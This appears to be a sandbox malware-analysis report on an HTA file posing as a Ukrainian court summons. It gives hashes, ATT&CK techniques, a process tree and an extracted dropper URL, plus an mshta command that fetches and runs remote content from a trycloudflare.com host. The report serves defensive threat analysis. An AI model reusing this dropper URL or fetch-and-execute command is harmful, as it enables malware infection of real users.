70b5306a7ac68e2b07177f5a7d398013f4d1d67d7508f3b64e9eb3f1cace50d4

Analysis

max time kernel
38s
max time network
38s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
17/10/2024, 16:14

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General

Target

420-23015-24_від_10.10.2024/Повістка про виклик до суду в адмініс�.hta
Size

498B
MD5

458c0be42e9713a6c8210964e7c1e293
SHA1

2b0183263f6d7071a02396644947869f4fc159aa
SHA256

eaaa84f9d583a55e6ab670690763af007e65382f72ac18b46a58aa3c8c163174
SHA512

9293327437e3a14ce3d134b9c508846430ffa10f1eba7252ac8daa9095741197a2b51ee615ca100906db76b3f280fcc905be2f0a045ab9659cbdcc35aaa89508

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://tent-highly-constant-euro.trycloudflare.com/HZ/relate/base.epub

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2116	mshta.exe
7	2116	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2116	mshta.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 108 wrote to memory of 2116	108	mshta.exe	29
PID 108 wrote to memory of 2116	108	mshta.exe	29
PID 108 wrote to memory of 2116	108	mshta.exe	29
PID 108 wrote to memory of 2116	108	mshta.exe	29

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\420-23015-24_від_10.10.2024\Повістка про виклик до суду в адмініс�.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:108
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\system32\mshta.exe" https://tent-highly-constant-euro.trycloudflare.com/HZ/relate/base.epub
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  PID:2116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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